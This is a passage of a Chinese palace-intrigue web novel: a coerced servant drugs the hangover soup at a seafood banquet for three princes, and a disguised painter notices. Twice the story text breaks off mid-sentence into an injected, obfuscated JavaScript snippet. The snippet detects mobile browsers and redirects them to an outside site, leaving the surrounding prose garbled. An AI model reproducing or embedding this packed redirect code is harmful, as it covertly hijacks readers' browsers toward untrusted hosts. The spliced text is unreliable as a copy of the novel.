他原以为自己帮这个神秘人害死敛大人后,拿了钱就可以顺利脱身。 谁知道他竟然还寻到了这里,还以家中老母亲的安危相逼! 他知道自己惹不起眼前的神秘人,认命道:“说吧,你又想要我做什么?” 陆景明见阿宽听话,满意点点头:“听说,你现在在烟雨阁后厨做事?” 阿宽不知他是何意,只能点头。 陆景明微微一笑,伸手从怀中掏出一个小纸包,递到了阿宽手里,低声同他耳语了两句。 阿宽猛地抬头,谁都知道烟雨阁明日要做什么,他、他这是要…… 这可是诛九族的大罪啊!!! 然而余光瞥见老母亲绝望的表情时,阿宽又默默低下了头,半晌,艰难点了点头。 只要不被人发现……应该不会有事吧…… 23. 渔获宴 赏花结束后已经接近傍晚,大家便都各自安置了。 敛烟照常去厉思远屋里服侍,亲眼看到他回绝了陆巧香殷殷切切送来的八宝粥、养生汤、桂花糕,来来回回拒绝了五六次。 最后一次厉思远甚至将蜡烛吹灭假装自己已经睡了,陆巧香才不甘地跺脚离开。 敛烟不禁唏嘘,厉思远不只是不近女色,甚至可以称得上是不近人情了。 就在厉思远房间不远处,严宏道正在笑呵呵地将两个女子搂在怀里。 “这夏太守还真是有眼力见啊,把你们两个漂亮的美人送来。”严宏道左手一个右手一个,把脸埋在美人怀里深吸一口气。 左边的美人娇笑着假装推拒:“哎呀~殿下,这要是让皇子妃发现可怎么办啊~” 严宏道轻轻摩挲着美人的后背:“怕什么,皇子妃这几日都去为太后烧香祈福去了,没人能打扰我们。” 就在这时,门口响起了不合时宜的敲门声,严宏道动作一顿,不耐地说道:“谁啊?” 门口传来陆景明的声音:“殿下,下官有要事相商。” 啧,是陆家那个孬种。 严宏道虽然不想放开怀里的温香软玉,但是这次来江南并不是单纯的游玩,母妃也特意嘱咐过,所以他不得不忍住心里骚动,放开了两个美人。 他将外袍拢了拢,轻咳一声:“进来吧。” 陆景明进来就看到两个衣衫不整的美人,他早就已经见怪不怪,低眉顺眼地跪拜在地:“下官拜见殿下。” 严宏道挥了挥手示意两个美人离开,看到门关上后,没好气地踢了地上的人一脚: “他娘的坏我好事,要是没什么重要的事,我让你吃不了兜着走!” 陆景明没有因为被踹而感觉羞辱,从善如流地爬起来,匍匐到严宏道脚边: “下官是为了明日的事情,一切都已经按照殿下的吩咐安排妥当。” 他顿了顿,又迟疑道:“只是……下官的妹妹明日能否不在场?她今日赌气去樱花林吹了半个时辰的风,有些风寒,不宜出现在宴会现场。” 严宏道嗤笑一声,他弯下身子,用手拍了拍陆景明的脸: “陆景明,我给你机会做事,是看在你是我们伍家赘婿的份儿上,你以为你是谁啊?想把你妹妹摘出去,想得美!” 陆景明脸上青一阵白一阵,却一句话都不敢说。 他的确存了私心。 在得知三位皇子下江南游玩的时候,陆景明就被皇贵妃喊过去,话里话外,都是说严宏道这个人心地善良、悲天悯人,不愿意手足相残,暗示陆景明要懂得察言观色。 末了,还让他带上伍熹微和陆巧香一起下江南游玩。 陆巧香不知道,自己可知道,二皇子妃都不来,却偏偏让自己喊上家中女眷。 分明就是在威胁。 只要自己稍有异心,陆巧香肯定会遭受毒手。 但是明日宴会如果出了岔子,万一连累到巧香…… 父母出门前千叮咛万嘱咐要保护好妹妹,所以他虽胆怯,依旧想来试探严宏道的意思。 听到严宏道的话,陆景明的心瞬间沉入谷底。 严宏道见他迟迟不说话,不耐烦地挥挥手:“没有别的事的话,就退下吧。” 陆景明不甘地垂头,深深跪拜下去:“……是,臣告退。” * 渔获宴是丹阳郡一年一度最大的宴会,平时都是夏太守和苏世良请周边官员们一起喝酒吟诗,再品尝一下开渔后的“第一鲜”,普通百姓们也会在渔获宴期间被允许吃点新鲜的鱼。 是的,靠海吃海的渔民们平时根本不允许吃新鲜的鱼。 新鲜的鱼要全部上供朝廷补给各省达官显贵,而品相不好的鱼会被统一晒成鱼干,当作是普通百姓全家一年的伙食。 不过这也难怪,东华国沿海的地区就这么一小片,还要供给全国贵人们的海鲜,当然要紧着贵人们享用了,哪轮得到平头百姓? 所以渔获宴期间,百姓们也都很开心,毕竟谁不想吃一口鲜鱼鲜虾呢? 然而今年他们开心不起来了,因为有比夏太守还要厉害的大人物要来。 大人物要吃的东西,多备一些总没错。 万一有人不喜欢吃刺多的鱼,那就换刺少的,有人不爱吃腥的,那就换不腥的,反正总之一句话,有备则无患。 至于说这样下来,普通百姓就吃不到了…… 吃不到就吃不到吧,不重要。 敛烟到了宴会现场后,眼睛都直了。 她以前也不是没有去过各种宫宴,但即便采取了保鲜操作,很多海鲜运到京城后要坏上一些,所以海鲜的种类并不是很全。 但这次她是真的长见识了,原来那水里面竟然能长出这么多奇形怪状、品种繁多的鱼虾蟹,还有……不知名的类似于贝壳的东西。 而且烹饪方式也是多种多样,炸的煮的蒸的香辣的清蒸的煮汤的…… “额,你能不能把口水收一收,注意礼仪!” 邱容见敛烟一脸没见过世面的样子,颇为无语。 敛烟擦了擦口水:“希望他们用饭后能给我们剩点……不,我还是希望三位皇子海鲜过敏吧。” 以前是闺阁小姐的她并不想吃剩饭。 邱容慌忙使眼色让她住嘴。 要知道周围这些丫鬟小厮可都是常年呆在临州打整皇家别院的人,人多耳杂的,彦儿竟然在这里编排皇子殿下,他不想活自己还想活!! 敛烟耸耸肩,识趣地闭了嘴。 厉思远这个时候已经去和早到的几位大人寒暄去了。 他的确喜好独来独往,但基本的礼数还是周全,敛烟和邱容就百无聊赖地站在一边。 敛烟看完桌子上还在陆续增加的美食,就开始打量眼前的宅子。 这烟雨阁的布局甚是精妙,为了能很好地观赏面前的海景,四周都是打通的,更像是一个很长很宽的连廊。 四周用名贵的月光纱遮挡起来,既可能透过纱帘观赏海景,也可以起到挡风的作用。 听说之前这里是一个酒楼,但酒楼老板和夏太守关系很好,特意将这里进行了改造。 阁外的庭院中还挖了几米深的池子,养了不少红色的珊瑚和小鱼虾,又放入打造极精美的礁石。 而廊道的尽头,则连着一个又宽又长的宅子,若是赶上雨天,就可以进去避雨,还能观赏海景。 真是会享受啊这些人……敛烟感慨着。 这时,一个长相粗犷的婆子走了过来,看了看邱容又看了看敛烟:“你们谁是彦儿画师?” 敛烟和邱容对望一眼,点头应道:“是我。” 她有些紧张地吞咽了一下口水,厉思远之前特意同他们交代过,这次渔获宴要多加留意。 虽然他没有明说要留意什么,但是敛烟从他的语气中莫名感觉,这次宴会并不简单。 她父亲毕竟曾是正三品官员,即便是比较特殊的文官,但还是免不了被卷入这些朝堂的斗争之中。 所以敛烟对这三位皇子的身世以及之间微妙的关系也是有所耳闻。 看厉思远的意思,应当是想避免手足相残。 以他的身份,介入这种党争对他百害而无一益。 这次特意来临州还这样大张旗鼓介入此事,想来应当是陛下的意思。 也不知道这次宴会上会发生什么,听说严宏道残暴喜欢随意处置下人,应该不会蠢到直接当场杀掉严恒吧? 至于说严天逸……估计也不会有人和他过不去吧,都已经是一个痴儿了。 敛烟被那婆子恭恭敬敬地带着穿过连廊,心里就一直在思索。 她倒是和三位皇子并没有什么交情,即便父亲已经官拜正三品,自己也并没有什么资格去和这三位皇子有什么瓜葛。 但是她总觉得自己父亲的死因以及家里的冤案,似乎和朝堂斗争有着千丝万缕的联系。 而且她现在在厉思远手下做事,如果三位皇子当真摊牌开始对线,厉思远总要站队,储君之争向来残酷,如果他选错阵营…… 敛烟背后一阵发凉,那自己岂不是大仇未报就先凉凉了? 思索的功夫,她就被领到了宅子背后的一个类似于库房的地方,虽然院子都长得差不多,但敛烟看到这院子里堆满了各种物品,有价值连城的,也有普普通通的。 有十几个舞姬模样的女子站在那里。 虽说初春气温已经回升了一些,但依旧还是有些凉意。 那些舞姬却只穿着一件纱裙站在院子里头,十几个小姑娘缩在一起,勉强取暖。 婆子一进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268726|182205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 院门就大声呵斥: “你们一个个的,站没站样!我才出去多久,你们就东倒西歪的,等一下要是让殿下们看到这幅模样,仔细你们的脑袋!” 姑娘们被吓得立刻挺起身,但从她们微微颤抖的嘴唇能看出来,身上那层纱裙根本遮挡不出初春海边刺骨的海风。 敛烟看了一眼婆子,真是站着说话不腰疼,你穿成这样站一会儿试试! 前面那房子那么大,让她们在里面待一会儿也行啊?这不是故意在搓磨人! 她看到了婆子眼中毫不掩饰的鄙夷,内心为这些小姑娘们愤愤不平,她略微思考了一下,计上心来: “这位嬷嬷,烦请问下画具在哪里?” 嬷嬷带她来就是取作画用的工具,虽然她也看不上这小小画师,但是毕竟现在是跟在厉思远大人身边的,还是要给三分薄面。 她笑了笑,朝旁边的箱子一指:“都在里面了,彦儿画师,你取用自己习惯的就好。” 敛烟打开箱子后差点被闪瞎了眼,琳琅满目的画笔颜料,还有各式各样的画纸。 自己之前作画的时候母亲也特意着人替自己选了许多好的,但是远没有这箱画具精美。 敛烟就像是见了水的鱼,两眼放光,挑挑捡捡了一会儿便心满意足地抱出了自己喜欢的画具。 嬷嬷正要带她离开,敛烟忽然开口: “对了,刚才来的时候,厉思远大人特意交代过,要趁宴会没有开始,给这次宴会上的表演作画留念,说是二殿下说的。” 嬷嬷一愣,她怎么不知道? 但是一听是二殿下吩咐的,她连忙笑着说:“乐师们已经在前面准备好了,不如就先画画他们?” 敛烟摇摇头:“乐师没有观赏性,到时宴会开始后画就行,要说不好画的……” 她装作不经意地转过头,指了指冻的瑟瑟发抖的舞姬们:“她们是要有舞曲要表演吧?这种动态的最不好画了,就先画她们吧。” 其实敛烟只要想画哪个动作,就一定会深深刻在脑海里,根本不会不好画。 但她还是故意胡扯一通,反正这个老婆子也不能真的去找厉思远或者严宏道当场对峙。 这些姑娘是从青楼请过来的舞姬,嬷嬷根本就看不上,所以故意搓磨她们。 但敛烟这么一说,她内心犹豫了一下,最终还是放弃了自己那点私心,把姑娘们派去了前厅摆姿势。 舞姬们感激地看了一眼敛烟,匆匆忙忙就离开了。 此时前厅已经来了不少人,其中也包括夏太守和苏世良。 夏太守倒是春风得意,周围的官员们都纷纷向他道贺,毕竟能为宫中的贵人们办这样的宴席,那可是多少人求都求不来的福分啊! 但是苏世良就没那么愉快了,因为他转头看到了抱着画纸走进来的敛烟,自己失去的那些白花花的银子瞬间出现在眼前,让他痛苦地捂住了心口。 敛烟奇怪地看了一眼苏世良,这是犯心脏病了? 额,可别倒在这里,吓人。 嬷嬷进来以后就吩咐了两个小厮将矮案和蒲团搬了过来。 敛烟四处转着看了看舞姬们的角度,指了指离门口最近的一个柱子,示意他们搬到这里。 她铺开画纸,旁边一个小厮就蹲下来想替她调制颜料,被敛烟拒绝了。 厉思远一直观察着这边的动静,看到敛烟这就开始动笔了,也有些困惑,山平过来耳语了几句后,他便了然地看了看一旁的舞姬。 不多时,陆景明扶着伍熹微缓步走进来,陆巧香则顶着两个大黑眼圈跟在后面。 她哀怨地看向厉思远,敛烟注意到厉思远干脆利落地转身朝堂内走去,丝毫不给面子。 伍熹微挽着陆景明款款入座,陆景明便端酒去应酬起来。 那些官员们虽然对他这种赘婿心里多有鄙夷,但是面上却恭敬有加。 过了没多久,连廊外跑来了一个小厮,高声道:“皇子殿下们到——” 官员们忙站到了自己的位置上,朝小厮跑来的方向,遥遥行礼:“臣拜见皇子殿下——” 敛烟也停笔匍匐在地。 她头埋着看不见人,但是听见了一连串的脚步声。 接着就是严宏道爽朗的笑声:“哎哟这可弄的真热闹啊!你说是吧,大哥?” 24. 开席 敛烟感受到有人走了进来,她偷偷抬头去看。 严宏道进来的时候大摇大摆,毕竟这里没有陛下和太后在,皇子就是老大。 昨晚他春风一度,今日神清气爽,心情极好。 刚迈进门就看到了前厅中央站着的几个长相艳丽的舞姬,眼睛瞬间就直了,已经开始琢磨起今晚的该抱哪个美人儿回房。 严恒低着头盯着自己脚尖走路,听见严宏道问自己,没什么情绪地开口:“二弟……说的对。” 从昨天就看出来,两位皇子的关系很微妙,敛烟一时间只觉得空气都凝固了。 周围的人大气不敢喘,都噤若寒蝉。 “咦?这是什么呀?你在画画吗?” 一个男子的声音忽然从敛烟头顶响起,非常成熟的青年嗓音,说出来的话却非常稚嫩。 敛烟抬起头就看到严天逸放大的脸。 其他人听见声音纷纷望了过来。 严宏道非常不满自己的精彩出场被人打断,他先是用眼睛打量一圈垂头跪着的舞姬们,随后也看了过来。 敛烟应道:“回三殿下,小人的确在画画。” 严天逸咬着自己的大拇指,好奇换了个角度看桌案上摊开的画纸,不知道在想什么。 敛烟偷偷看向他的表情。 单纯、无辜、好奇。 这个痴儿,也不知道现在这个处境对他来说是好事还是坏事。 “你就是画丹阳春景图的那个画师?”严宏道问。 宴会现场就只有敛烟一个画师,想来就是了。 旁边夏太守连忙满脸堆笑地走出来:“是的是的,就是他没错,好像叫……” 他一时噎住,看了身后的苏世良一眼。 苏世良接话:“叫彦儿。” 严宏道露出一副饶有兴致的表情走到了敛烟面前。 他其实并不懂什么画,唯一喜欢的就是美人儿。 但毕竟太后对绘画喜爱的紧,陛下为尽孝道也是经常在他们三个人面前提起,母妃便让他多去学习了解,讨两位长辈的欢心。 别看他心思狠辣,但他其实很畏惧母妃伍方仪,所以非常听她的话。 为了讨母妃欢心,他就对外宣称自己非常喜爱绘画,还经常会重金请一些名画师来宫里讨论古今的绘画——当然,是其他人讨论,他打瞌睡。 其实他根本都忘了那个丹阳春景图长什么模样,夏太守送过来的时候他就瞥了一眼,估计现在也不知道压在哪个箱子最底层了。 好在杨公公看过那副画,虽然不是出自大家之手,但笔触细腻,定不是凡品。 加之他又是皇贵妃的人,所以知道严宏道要去临州游玩后,便从旁提醒。 作为一个爱画的人,当然要借此机会见见这幅画的作者了。 杨公公此时就站在严宏道身边,弯着腰侧头打量着彦儿画师,看着又瘦又小,还戴着面纱,甚至都分不清是男是女。 严宏道也注意到了她脸上的面纱,不满地指了指:“你戴着面纱做什么?有什么见不得人的?” 敛烟刚想开口解释,旁边厉思远从人群中走了出来: “回二殿下,这位彦儿画师如今在我手下当差,他面部有一道伤疤很是骇人,担心吓到三位殿下,下官便让他戴上了面纱。” 严宏道其实很不喜欢厉思远,一个区区外姓,天天在自己面前晃悠,还和自己差不多的待遇,岂有此理! 他直接略过了厉思远的话,上前几步就要去扯敛烟脸上的面纱。 这是一个极其侮辱人的动作,即便是对待一个下人。 厉思远面色一冷,一把抓住了严宏道的手腕。 严宏道一愣,甩了一下没甩开,厉思远力气大的惊人,像是鹰爪一样死死扣住。 旁边的杨公公立刻尖声喊道:“厉思远你想干什么!二殿下尊贵之躯,你竟然敢直接动手!” 严宏道也是一脸惊怒交加地看向厉思远,却见对方面上带笑,温声劝道: “二殿下,臣当真是为了您好,若是您执意想看,那就让彦儿亲自摘下就好,何必劳烦您动手?” 敛烟察觉到气氛有些微妙,听到厉思远这么说了,立刻将脸上的面纱摘掉,抬头看向严宏道。 一旁的杨公公惊叫一声,用袖子遮住了眼睛。 严宏道本来还有些愤怒,转头就对上了敛烟那半张疤痕的脸,吓得都忘了生气,连连后退两步。 他身后没有东西可以扶,还好厉思远抓的稳,才没有倒在地上。 厉思远面上笑容不变,另一只手扶住严宏道的胳膊:“二殿下看清楚了?” 严宏道稳了稳心神,摆手示意敛烟带上面纱,他知道为什么厉思远不让他看了。 那个疤痕扒在一个活人脸上实在是……有些难以接受。 但皇子殿下怎么会错呢? 所以严宏道只是轻咳了一声:“嗯,还好吧……那个,是不是要开席了?” 夏太守连忙过来打圆场:“是是是,已经都准备好了。” 说完他朝旁边还在看热闹的一众乐师比了个手势,丝竹的声音便冲淡了刚才尴尬的场景。 严天逸还含着手指头扯敛烟的衣服,就被旁边的宫女太监们推着走上了最中间的三个主位坐下。 严恒在路过敛烟的时候,上下打量了她一番,他性子温吞,所以严宏道才如此肆意妄为。 但对上他的双眼,敛烟却莫名觉得有些心悸,总感觉那黑眸下隐藏着暗流。 然而再看过来,又觉得严恒温柔和善。 或许是自己的错觉吧,敛烟摇了摇头。 严恒走到三个主位前,不易察觉地皱了皱眉。 三位皇子的桌子虽然都长得一样,却因为室内设计的关系,高矮有所不同。 最中间的桌案是最高的,左侧第二高,右侧的最矮。 对天家人来说,座次的大小高矮、座位的顺序和方位都是有讲究的。 严天逸被小太监领着,含着手指自觉坐在了最矮的桌案前,严宏道走在最前面,毫不犹豫地坐到了最中间的位置。 按理来说,三位都是当朝皇子,应当按照辈分大小定尊卑,所以大皇子严恒才是应该坐在最中间的人。 严恒上前的动作顿了顿,在严宏道挑衅的目光中,没有什么表情地坐在了第二高的位置。 所有人都眼观鼻鼻观心,没有任何一个人敢说话。 严宏道满意地环顾了一圈后,目光贪婪地停留在中间站着的那群舞姬身上,咽了咽口水后朝旁边杨公公示意了一下。 杨公公立刻尖声宣布:“开——席——” 舞姬们重新开始翩翩起舞,柔软的腰肢,勾人的眼眸,看着严宏道不禁眼睛发直。 敛烟重新回到桌案前作画,起身就看到杨公公一张白的吓人的脸出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268727|182205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在面前。 该说不说,这些太监怎么就喜欢抹得脸上惨白惨白的,还涂口脂,大晚上要是见了魂都要吓丢了。 敛烟定了定神,俯身请安:“杨公公。” 杨公公笑吟吟地说:“彦儿画师,你觉得二殿下长得如何?” 敛烟狐疑地看了看他,我又不嫁给他,管他长得怎么样呢? 她抬头仔细看了看严宏道,怎么说呢,他长相平平,吊眼梢,可能由于做事手段狠辣,笑起来虽然平易近人,但总有一种瘆人的感觉。 但这是皇子殿下,敛烟摇头晃脑道:“二殿下当然是玉树临风、身高八尺、眉眼如画、英俊潇洒……” 小福子抿唇呵呵呵地笑了笑:“彦儿画师真是好文采,那便请画师给二殿下画一幅人像吧,名字就叫……春日渔宴图。” 说完他又凑近一点,伸手掏出了几块碎银:“二殿下若是满意,好处自然少不了你的。” 敛烟见钱眼开,刚要伸手去拿,杨公公乐呵呵撤了一步,悄声道: “殿下常常说自己很像东华国四大才子的潘少,彦儿画师知道该怎么画了吧?” 潘少是东华国民间盛传的四大美男之首,容貌是一等一的好,敛烟以前见过,美的的确惊心动魄,不过是那种弱柳扶风般的美。 敛烟并不吃那种类型的美男,也不知道民间是怎么评价出来的,要她说,厉思远比潘少更适合美男的名号。 但不管怎么说,眼前这个吊眼梢、满脸色迷迷看舞娘的二殿下,都和潘少是半文钱关系都没有。 艺术加工也要看看底子怎么样吧?现在完全就是抽象派了啊! 敛烟嘴角抽动了两下,勉强应了下来。 * 酒过三巡,敛烟闻着饭菜的香气饥肠辘辘地画了两个时辰,总算是将艺术想象创作完了。 此时前厅里面的官员已经吃的差不多了,三三两两地坐在一旁聊天,侍女们纷纷走进来将剩菜撤下去,换上了茶水和糕点。 敛烟的身份当然不能和贵人们同食,她站起身,看到邱容在从旁边走过来。 他闷闷不乐地小声冲敛烟吐槽: “大人本就不胜酒力,我想着陪他出去散散步,哪成想二殿下非要拉着大人不肯走,还一个劲儿灌他酒……哎……” 敛烟看了一眼厉思远,他坐的位置是最靠近三位皇子的地方,和其他官员都单独隔了开来,可见他地位不一般。 此时他正站着原地,严宏道搭着他的肩,举着酒壶朝他杯子里面倒酒,低声说着什么。 厉思远面不改色地将杯中的酒一饮而尽,也开口说了些什么。 “我看大人好像还是挺清醒的?”敛烟看了一会儿:“也没有晃来晃去,你看大殿下都已经趴桌子上了。” 邱容忧心忡忡地摇头:“大人根本喝不了多少,基本上就是一杯倒,但是他能硬撑……哎呀回去你就知道了!” 说完他看了一圈前厅,用胳膊怼了怼敛烟:“走吧,我们先去小厨房吃点剩饭,不然等下好东西都被人吃了。” 渔获宴的吃食非常丰盛,贵人们根本吃不完,倒掉也可惜,没有动过的菜就都要撤回小厨房,下人们就可以吃点平时不舍得吃的美味。 这么一说,敛烟也觉得自己肚皮空空,正转身要离开,就听见严宏道醉醺醺地喊道: “哎……彦……什么,你画好了?快……快呈上来。” 25. 舞姬 敛烟脚步一顿,虽然她已经是饥肠辘辘,但是殿下喊自己哪能不去? 内心骂骂咧咧,但她还是拿着自己的画纸,恭恭敬敬地跪到了三位皇子面前。 杨公公顶着一张花白的脸,笑盈盈地迈着小碎步将画纸接了过来。 邱容同情地看了敛烟一眼,还是转身离开了。 那些宫女太监吃饭吃的飞快,再去晚了好东西就没有了! 廊外一直走到尽头,拐一个弯,就能看到烟雨阁的小厨房。 此时厨房内外已经全是丫鬟小厮宫女太监,蹲着的站着的坐着的。 下人们吃饭也是有讲究的,侍奉三位皇子的宫女太监们当然要坐在那里舒舒服服地吃,而其他人呢,则按照主子的官职品级,依次排下来。 邱容是跟再厉思远身边多年的人,有的人眼尖,一眼就认出了他,立刻就殷勤地让出了一个位置:“哎呀,这不是邱管事吗?来这边坐。” 说话的正是大皇子身边的一个太监,名叫小全子。 邱容吞了吞口水,他是算着时辰的,就是想避免和三位皇子的下人们搅合在一起,大人以前就特有吩咐过,自己身份特殊,万万不能牵涉党争。 所以作为他身边的人,自然也要避免与某一方的下人过于亲近。 他伸着脖子,恋恋不舍地看了一眼他们碗里的菜。 清蒸大闸蟹、香辣虾、红烧鱼……虽然是主子们剩下的,但也是十分丰盛。 好香好香好想吃…… “我不是来吃饭的,我是来给大人煮醒酒汤的。”邱容面不改色。 小全子扒拉一大口肉到嘴里,以一种近乎敬佩的眼神看向邱容:“站这么久还不吃吗?刚才已经吩咐过厨房给三位皇子和厉大人煮醒酒汤了。” 邱容义正严辞拒绝了:“不,我真的不饿,他们在哪里煮?我这就端过去……大人比较急。” 哪里是大人比较急,是邱容真的想从满屋的香味中逃离。 小全子也不再坚持,指了指旁边的屋子:“在里面,你进去就能看到。” 说是小厨房,但烟雨阁的厨房比较大,前面是走菜和吃饭的地方,往里面要走上两步打开一个门,才是真正的厨房。 里面空无一人,只有不远处的一个精致的石炉上,摆着一个还在冒着热气的石锅,石锅一旁摆着几个精致漂亮的瓷碗,看制式就知道是皇家用具。 厉思远大人身为陛下义子,陛下特允大人的吃穿用度都和三位皇子一致。 虽然大人曾经拒绝过数次,陛下却非常坚持,圣命难违,久而久之就形成了这样的习惯。 邱容看外面的动静,感觉那些宫女太监还要再吃上一会儿,便盛上一碗醒酒汤自顾自端走了。 他不知道的是,就在他离开后没多久,阿宽便带着一个嬷嬷匆匆忙忙赶到了厨房。 阿宽正是那日陆景明找的人,他被迫入局替陆景明做事,紧张得后背都被汗水浸透。 那嬷嬷看到石炉旁边的碗,没好气地翻了个白眼:“碗都给你拿过来了啊,你怎么又来找我?” 阿宽本来就紧张,那嬷嬷又是宫中老人,只能擦擦额头上的冷汗,唯唯诺诺道:“哦、哦,可、可能是其他宫人拿过来的吧……” 他攥紧衣袖,袖子里是一张已经被汗水浸湿的纸,仔细看去还能看到上面残留的些许白色粉末。 今日真是倒霉透顶。 原本神秘人交代的是给大殿下的那碗下药。 虽然神秘人强调这不过就是秽药,不会伤及性命,但事涉皇嗣,阿宽还是紧张得发抖。 他刚才煮汤的时候太过紧张,不小心将药包整个儿掉入了锅中。 前头杨公公又派人来催,加之刚才宫人又没有备好碗筷,他慌张下才跑去找了嬷嬷,这会儿又不知哪个宫人得了消息,把碗筷提前拿过来了。 阿宽斜睨着还在嘟囔着今日事情又多又杂,让他不要添麻烦的嬷嬷,心里暗暗捏了一把汗。 好在没有人发现醒酒汤的端倪。 送嬷嬷离开后,阿宽颤抖着手盛出四碗汤。 已经来不及再煮一锅了,只能……装作不小心打翻了吧。 * 烟雨阁前厅。 敛烟跪在原地,如坐针毡。 严宏道真是喝多了,眯着眼睛,将脸使劲贴在画纸上,一寸寸地盯着看,也不知道他这个距离能看出来什么。 这也就罢了,但真正让敛烟坐不住的是因为厉思远。 也不知道是不是因为喝醉的缘故,自己走过来开始,厉思远便一直盯着自己。 他的眼眸本来就深邃,醉酒以后便更加深不见底,他面上没什么表情,却死死盯着敛烟的脸,仿佛要把她盯穿一样。 敛烟能够感受到那眼神不是放空后的呆滞,而是翻涌着复杂的情绪。 她也不明白厉思远是怎么了,只能匍匐在地,试图忽视掉他那炽热的、如实质般的视线。 好在山平出现和他耳语了几句,厉思远便和三位皇子说要出去吹风,收回了视线。 敛烟身子一松,余光看到邱容端着碗站在柱子后面。 这是来给厉思远送醒酒汤了啊。 敛烟看着厉思远依旧挺拔的身影和不疾不徐的步伐,总有种他没有喝醉的错觉。 吃过饭的宫女太监们已经陆陆续续回来了,严宏道还扒着那画纸看来看去,敛烟饿的头晕眼花,内心骂骂咧咧。 严宏道从左看到右,从上看到下,随后才发表自己的评价: “恩……写实风!还……还是有留白,不、不错!sh……赏!” 敛烟眼角抽动两下,写实?要不你再照镜子看一下自己呢? 杨公公笑着刚要喊人来带敛烟去领赏,殿外便走进来一个人,端着托盘跪在地上,畏畏缩缩地道:“请、请殿下们用醒酒汤。” 听到熟悉的声音,敛烟不可思议地睁大了眼睛,猛地扭头看去。 杨公公也发现了门口的男人,挥了挥手里的拂尘,尖着嗓子道:“呈过来吧。” 看着昔日熟悉的身影走过来,敛烟只觉得恍若隔世。 阿宽,原本是敛府的下人。 阿宽幼年丧父,无依无靠,只有一个老母亲在家,父亲见他可怜便收做了下人。 他这人机灵又能干,很快便成了府里的副管事。 但敛烟以前经常和世家公子哥们混在一起,就知道阿宽这个人出入京城各大赌坊,是个实打实的赌鬼,自己也私下里提醒过父亲。 但父亲却觉得,只要阿宽不做偷鸡摸狗、伤天害理的事情,主人家也管不到。 然而就在父亲出事后的一周,阿宽忽然告假说要回家,理由是母亲病重需要时常照顾,母亲那时因为父亲的死伤心欲绝,没多想便让他离开了。 但如今阿宽竟然出现在了临州。 他老家在京郊,为何会跑到临州这么远的地方,还出现在烟雨阁里? 看着亦步亦趋走过来的阿宽,敛烟心跳如雷,脸色发白。 父亲的死,阿宽是不是知道些什么? 这厢阿宽走到主位旁边,把其中一碗汤先放在了严恒的桌案上,严恒已经醉倒在一边,眼皮只是懒懒抬了一下,没有其他动作,旁边的小太监急踱过来几步,拿起汤碗喂过去。 严天逸倒是不需要喝醒酒汤,好奇地瞪大双眼望过来。 阿宽见厉思远不在,暗自松了口气,转身走向严宏道的位置,脚下忽地一绊,整个人控制不住向前扑去,手上托盘一歪,剩下的醒酒汤竟都洒了一地。 杨公公惊呼一声,快步踱过来,用拂尘狠狠敲了阿宽脑袋一下。 “你个不长眼的!要是不小心伤了殿下,那可是掉脑袋的大罪!” 阿宽连忙扑通一声跪倒在地,将头埋的低低的,连话都会所不全了:“殿、殿下恕罪!” 严宏道方才看画的时候还醉着酒,此时抬起眼眸,酒力更让他原本冷漠的眉眼平添了一股阴鸷。 只见他漫不经心看了一眼朝这边张望的陆景明,扯了扯嘴角,声音里还带着浓浓的酒气:“今日本殿下心情好,就饶了你一回……” 阿宽狠狠松了一口气,正要磕头告退,头顶上却又响起了严宏道饶有兴致的声音:“杨公公,带他下去,赐壶酒吧。” 阿宽一听,对他这种普通老百姓来说,能喝上一口天家的酒那可是天赐的恩宠, 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不是阿宽,好像是个女人,听着似乎很痛苦。 敛烟眉头紧皱,难道有人受伤了? 在三位殿用饭的场所竟然有人受伤,万一是来了刺客就糟了,敛烟连忙上前两步,贴着旁边的假山偷偷摸过去,绕到竹林的后面。 她轻轻拨开竹林,朝里面望去,竹林中央躺着一个女子,看装束竟是刚才跳舞的舞姬之一。 看到周围没有其他人,敛烟放下心来往前走了两步:“你……没事吧?” 听到有人说话,舞姬先是身子一僵,猛然回过头,看到是刚才帮她们的画师,她张了张嘴,却一句话都说不出来,只是一味摇头用乞求的眼神让敛烟离开。 敛烟蹙眉看她,面色潮红,汗水涔涔,眼角泛红又止不住落泪,似乎…… 她沉下声:“你中了秽药?” 舞姬眨着一双染上水雾的眸子,勉强点了点头。 敛烟心里一沉,没有人会平白无故给一个舞姬下药,除非是为了哪个贵人。 是哪个贵人呢? 联想到厉思远宴会前嘱咐他们的话,敛烟直觉不妙,她脑海中忽然闪过刚才端碗进来的阿宽。 难道醒酒汤有问题? 敛烟脑中飞速思考,如果是想利用这个舞姬,那必定会有人来寻她,此地不宜久留。 “呃……!”舞姬痛苦地蜷缩起身子,嘴角溢出一丝喘息。 敛烟忙上前试着将舞姬扶起。 因为她现在是男子装扮,舞姬惊恐地摇头并试图躲开她,敛烟不容她多想,一把将她拉过来。 “别动,我带你去安全的地方,外面有人来找你了。” 见舞姬还是不肯听她的,甚至已经开始落泪,敛烟叹了口气:“放心,我不喜欢女子。” 舞姬露出了震惊又困惑的表情,但看着敛烟真诚的神色,自己眼下又无计可施,便放松了下来,任由敛烟扶着她站起来。 敛烟没多解释,她扶着舞姬,踉跄着从后院的小门钻进了一旁堆放用具的库房。 敛烟站在门口打了个手势,屋顶上的潜麟卫面面相觑。 主子打手势的时候要下去,主子的下人打手势……下去还是不下去? 